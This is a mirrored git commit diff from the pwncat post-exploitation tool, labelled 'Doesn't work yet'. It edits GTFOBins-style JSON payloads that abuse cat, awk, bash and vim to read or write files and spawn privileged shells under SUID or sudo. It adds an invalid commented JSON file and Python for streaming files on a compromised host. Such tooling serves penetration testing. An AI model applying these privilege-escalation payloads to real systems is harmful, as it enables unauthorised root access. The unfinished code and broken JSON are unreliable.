mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Doesn't work yet
This commit is contained in:
parent
983f37e6d6
commit
425a3c99cd
@ -1,14 +1,7 @@
|
|||||||
[
|
[
|
||||||
{
|
{
|
||||||
"name": "cat",
|
"name": "cat",
|
||||||
"read_file": "{path} {lfile}"
|
"read_file": "{command} {lfile}"
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "cp",
|
|
||||||
"write_file": {
|
|
||||||
"type": "base64",
|
|
||||||
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
|
|
||||||
}
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "bash",
|
"name": "bash",
|
||||||
@ -67,7 +60,7 @@
|
|||||||
"read_file": "{path} '//' {lfile}",
|
"read_file": "{path} '//' {lfile}",
|
||||||
"write_file": {
|
"write_file": {
|
||||||
"type": "base64",
|
"type": "base64",
|
||||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@ -139,30 +132,5 @@
|
|||||||
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
|
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
|
||||||
},
|
},
|
||||||
"command": "{path} -p -c {command}"
|
"command": "{path} -p -c {command}"
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "vim.basic",
|
|
||||||
"shell": {
|
|
||||||
|
|
||||||
"need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "vim.basic",
|
|
||||||
"shell": {
|
|
||||||
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "vim.basic",
|
|
||||||
"shell": {
|
|
||||||
"need" : ["-e", "+:!{shell}", "+q!"]
|
|
||||||
},
|
|
||||||
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
|
|
||||||
"write_file": {
|
|
||||||
"type": "base64",
|
|
||||||
"payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
|
|
||||||
},
|
|
||||||
"command": "{path} -c ':!{command}'"
|
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
81
data/gtfobins2.json
Normal file
81
data/gtfobins2.json
Normal file
@ -0,0 +1,81 @@
|
|||||||
|
{
|
||||||
|
// Each item is a list of capabilities for this binary
|
||||||
|
"dd": [
|
||||||
|
{
|
||||||
|
// This is a read capability
|
||||||
|
"type": "read",
|
||||||
|
// No other commands need to be executed besides the command
|
||||||
|
// "command" exands to the binary path and any arguments provided
|
||||||
|
// If the data needs to be dealt with earlier, you can use "{data}"
|
||||||
|
// here.
|
||||||
|
"payload": "{command}",
|
||||||
|
// This is used to pass arguments to the application (auto-merged
|
||||||
|
// into "{command}".
|
||||||
|
"args": ["if={lfile}"],
|
||||||
|
// Prepends arguments, if any to the "args" for setuid context.
|
||||||
|
"suid": [],
|
||||||
|
// Input which needs to be passed to the application. All insertions
|
||||||
|
// work here (such as {lfile}, {command}), but also {data} if you are
|
||||||
|
// streaming the data to the remote application.
|
||||||
|
"input": "",
|
||||||
|
// If needed, specify some data that must be sent to exit the remote
|
||||||
|
// application after the read is finished.
|
||||||
|
"exit": "{ctrl_c}",
|
||||||
|
// This specifies how to handle the data. There can be a few
|
||||||
|
// different values here:
|
||||||
|
// - raw -> the data is unchanged and the controlling terminal
|
||||||
|
// is set to raw mode for effective reading. This mode
|
||||||
|
// requires a known data length and the command will fail
|
||||||
|
// without it.
|
||||||
|
// - print -> the data is unchanged, but the controlling
|
||||||
|
// terminal is not changed to raw mode. Only printable
|
||||||
|
// data is safe from TTY translation.
|
||||||
|
// - base64 -> all data is converted from base64. Data sent
|
||||||
|
// to the remote process should be in base64 form, and the
|
||||||
|
// tty is not set to raw mode.
|
||||||
|
// - hex -> same as base64, but base16 instead.
|
||||||
|
"stream": "raw"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "write",
|
||||||
|
"stream": "raw",
|
||||||
|
"payload": "{command} of={lfile} oflag=count_bytes count={length}"
|
||||||
|
"input": "{data}",
|
||||||
|
}
|
||||||
|
],
|
||||||
|
// Another example
|
||||||
|
"bash": [
|
||||||
|
{
|
||||||
|
"type": "shell",
|
||||||
|
"stream": "print",
|
||||||
|
"suid": ["-p"],
|
||||||
|
"exit": "exit"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "read",
|
||||||
|
"stream": "raw",
|
||||||
|
"payload": "{command} -c '{cat} {lfile}'",
|
||||||
|
"suid": ["-p"],
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"cat": [
|
||||||
|
{
|
||||||
|
"type": "read",
|
||||||
|
"stream": "raw",
|
||||||
|
"payload": "{command} {lfile}",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "write",
|
||||||
|
"stream": "base64",
|
||||||
|
"payload": "{base64} -d | {command} > {lfile}"
|
||||||
|
"args": [],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "write",
|
||||||
|
"stream": "print",
|
||||||
|
"payload": "{command} > {lfile}",
|
||||||
|
"args": [],
|
||||||
|
"exit": "{ctrl_c}"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
@ -8,6 +8,7 @@ import json
|
|||||||
import os
|
import os
|
||||||
|
|
||||||
from pwncat.privesc import Capability
|
from pwncat.privesc import Capability
|
||||||
|
from pwncat import util
|
||||||
|
|
||||||
|
|
||||||
class MissingBinary(Exception):
|
class MissingBinary(Exception):
|
||||||
@ -44,6 +45,8 @@ class Binary:
|
|||||||
self.capabilities |= Capability.SHELL
|
self.capabilities |= Capability.SHELL
|
||||||
if self.has_write_file:
|
if self.has_write_file:
|
||||||
self.capabilities |= Capability.WRITE
|
self.capabilities |= Capability.WRITE
|
||||||
|
if self.has_write_stream:
|
||||||
|
self.capabilities |= Capability.WRITE_STREAM
|
||||||
|
|
||||||
# We need to fix this later...?
|
# We need to fix this later...?
|
||||||
if self.has_shell:
|
if self.has_shell:
|
||||||
@ -74,6 +77,43 @@ class Binary:
|
|||||||
|
|
||||||
return target
|
return target
|
||||||
|
|
||||||
|
def parse_entry(self, entry, sudo_prefix: str = None, suid=False, **args):
|
||||||
|
""" Parse an entry for read_file, write_file, or shell """
|
||||||
|
|
||||||
|
if isinstance(entry, str):
|
||||||
|
entry = shlex.split(entry)
|
||||||
|
payload = entry[0]
|
||||||
|
args = entry[1:]
|
||||||
|
input_data = ""
|
||||||
|
stream_type = "print"
|
||||||
|
exit_command = ""
|
||||||
|
suid_args = []
|
||||||
|
else:
|
||||||
|
payload = entry.get("payload", "{command}")
|
||||||
|
args = entry.get("args", [])
|
||||||
|
input_data = entry.get("input", "")
|
||||||
|
stream_type = entry.get("type", "print")
|
||||||
|
exit_command = entry.get("exit", "")
|
||||||
|
suid_args = entry.get("suid", [])
|
||||||
|
|
||||||
|
command = self.path
|
||||||
|
if sudo_prefix:
|
||||||
|
command = sudo_prefix + " " + command
|
||||||
|
|
||||||
|
args = [self.resolve_binaries(a, **args) for a in args]
|
||||||
|
input_data = self.resolve_binaries(input_data, ctrl_c=util.CTRL_C, **args)
|
||||||
|
exit_command = self.resolve_binaries(exit_command, ctrl_c=util.CTRL_C, **args)
|
||||||
|
suid_args = self.resolve_binaries(suid_args, **args)
|
||||||
|
|
||||||
|
if len(suid_args):
|
||||||
|
command = command + " " + shlex.join(suid_args)
|
||||||
|
if len(args):
|
||||||
|
command = command + " " + shlex.join(args)
|
||||||
|
|
||||||
|
payload = self.resolve_binaries(payload, command=command, **args)
|
||||||
|
|
||||||
|
return payload, input_data, exit_command, stream_type
|
||||||
|
|
||||||
def shell(
|
def shell(
|
||||||
self,
|
self,
|
||||||
shell_path: str,
|
shell_path: str,
|
||||||
@ -277,6 +317,37 @@ class Binary:
|
|||||||
return False
|
return False
|
||||||
return result is not None
|
return result is not None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def has_write_stream(self):
|
||||||
|
try:
|
||||||
|
result = self.write_stream("test")
|
||||||
|
except MissingBinary:
|
||||||
|
return False
|
||||||
|
return result is not None
|
||||||
|
|
||||||
|
def write_stream(self, file_path, sudo_prefix: str = None) -> str:
|
||||||
|
""" Build a payload which will write stdin to a file. """
|
||||||
|
|
||||||
|
if "write_stream" not in self.data:
|
||||||
|
return None
|
||||||
|
|
||||||
|
path = self.path
|
||||||
|
if sudo_prefix:
|
||||||
|
path = sudo_prefix + " " + path
|
||||||
|
|
||||||
|
if isinstance(self.data["write_stream"], str):
|
||||||
|
command = self.data["write_stream"]
|
||||||
|
input = None
|
||||||
|
else:
|
||||||
|
command = self.data["write_stream"].get("command", "{path}")
|
||||||
|
input = self.data["write_stream"].get("input", None)
|
||||||
|
|
||||||
|
command = self.resolve_binaries(command, path=path)
|
||||||
|
if input is not None:
|
||||||
|
input = self.resolve_binaries(input, path=path)
|
||||||
|
|
||||||
|
return (command, input)
|
||||||
|
|
||||||
def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str:
|
def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str:
|
||||||
""" Build a payload to write the specified data into the file """
|
""" Build a payload to write the specified data into the file """
|
||||||
|
|
||||||
|
@ -17,7 +17,8 @@ class Capability:
|
|||||||
WRITE = 2
|
WRITE = 2
|
||||||
SHELL = 4
|
SHELL = 4
|
||||||
SUDO = SHELL
|
SUDO = SHELL
|
||||||
last = 8
|
WRITE_STREAM = 8
|
||||||
|
last = 16
|
||||||
ALL = READ | WRITE | SHELL | SUDO
|
ALL = READ | WRITE | SHELL | SUDO
|
||||||
|
|
||||||
|
|
||||||
|
@ -35,6 +35,8 @@ from pwncat import util
|
|||||||
from pwncat import downloader, uploader, privesc
|
from pwncat import downloader, uploader, privesc
|
||||||
from pwncat.file import RemoteBinaryPipe
|
from pwncat.file import RemoteBinaryPipe
|
||||||
from pwncat.lexer import LocalCommandLexer, PwncatStyle
|
from pwncat.lexer import LocalCommandLexer, PwncatStyle
|
||||||
|
from pwncat import gtfobins
|
||||||
|
from pwncat.privesc import Capability
|
||||||
|
|
||||||
from colorama import Fore
|
from colorama import Fore
|
||||||
|
|
||||||
@ -1097,6 +1099,70 @@ class PtyHandler:
|
|||||||
|
|
||||||
return pipe
|
return pipe
|
||||||
|
|
||||||
|
def do_test(self, argv):
|
||||||
|
|
||||||
|
util.info("Attempting to stream data to a remote file...")
|
||||||
|
with self.open("/tmp/stream_test", "wb") as filp:
|
||||||
|
filp.write(b"It fucking worked!")
|
||||||
|
|
||||||
|
util.info("Attempting to stream the data back...")
|
||||||
|
with self.open("/tmp/stream_test", "rb") as filp:
|
||||||
|
print(filp.read())
|
||||||
|
|
||||||
|
def open(self, path: str, mode: str):
|
||||||
|
""" Generically open a remote file for reading or writing. Does not
|
||||||
|
support simultaneously read and write. TextIO is implemented with a
|
||||||
|
TextIOWrapper. No other remote interaction should occur until this
|
||||||
|
stream is closed. """
|
||||||
|
|
||||||
|
# We can't do simultaneous read and write
|
||||||
|
if "r" in mode and "w" in mode:
|
||||||
|
raise ValueError("only one of 'r' or 'w' may be specified")
|
||||||
|
|
||||||
|
# Allow the temp file wrapper to access the pty
|
||||||
|
pty = self
|
||||||
|
|
||||||
|
if "r" in mode:
|
||||||
|
# Simple case, we have a reader w/ GTFO bins
|
||||||
|
reader = gtfobins.Binary.find_capability(self.which, Capability.READ)
|
||||||
|
if reader is not None:
|
||||||
|
print(reader.read_file(path))
|
||||||
|
pipe = self.subprocess(reader.read_file(path), mode="rb")
|
||||||
|
else:
|
||||||
|
# We need to use the download functionality
|
||||||
|
pipe = tempfile.NamedTemporaryFile("rb")
|
||||||
|
self.do_download(["-o", pipe.name, path])
|
||||||
|
else:
|
||||||
|
# Writing is more complicated.
|
||||||
|
writer = gtfobins.Binary.find_capability(
|
||||||
|
self.which, Capability.WRITE_STREAM
|
||||||
|
)
|
||||||
|
if writer is not None:
|
||||||
|
print(writer.write_stream(path))
|
||||||
|
pipe = self.subprocess(writer.write_stream(path), mode="wb")
|
||||||
|
else:
|
||||||
|
# We need to use the upload functionality. We will create a
|
||||||
|
# named temporary file which upon closing will upload itself to
|
||||||
|
# the remote machine. This isn't perfect, but allows for
|
||||||
|
# seemless interaction.
|
||||||
|
pipe = tempfile.NamedTemporaryFile("wb", delete=False)
|
||||||
|
close_method = pipe.close
|
||||||
|
|
||||||
|
def close_wrapper(pipe_self):
|
||||||
|
""" This wraps the close method of the returned file object
|
||||||
|
to ensure that we upload the file after it is closed. """
|
||||||
|
close_method(pipe_self)
|
||||||
|
self.do_upload(["-o", path, pipe_self.name])
|
||||||
|
|
||||||
|
pipe.close = close_wrapper
|
||||||
|
|
||||||
|
if "b" in mode:
|
||||||
|
return pipe
|
||||||
|
elif "r" in mode:
|
||||||
|
return io.TextIOWrapper(io.BufferedReader(pipe))
|
||||||
|
elif "w" in mode:
|
||||||
|
return io.TextIOWrapper(io.BufferedWriter(pipe))
|
||||||
|
|
||||||
def raw(self, echo: bool = False):
|
def raw(self, echo: bool = False):
|
||||||
self.stty_saved = self.run("stty -g").decode("utf-8").strip()
|
self.stty_saved = self.run("stty -g").decode("utf-8").strip()
|
||||||
self.run("stty raw -echo", wait=False)
|
self.run("stty raw -echo", wait=False)
|
||||||
|
Loading…
Reference in New Issue
Block a user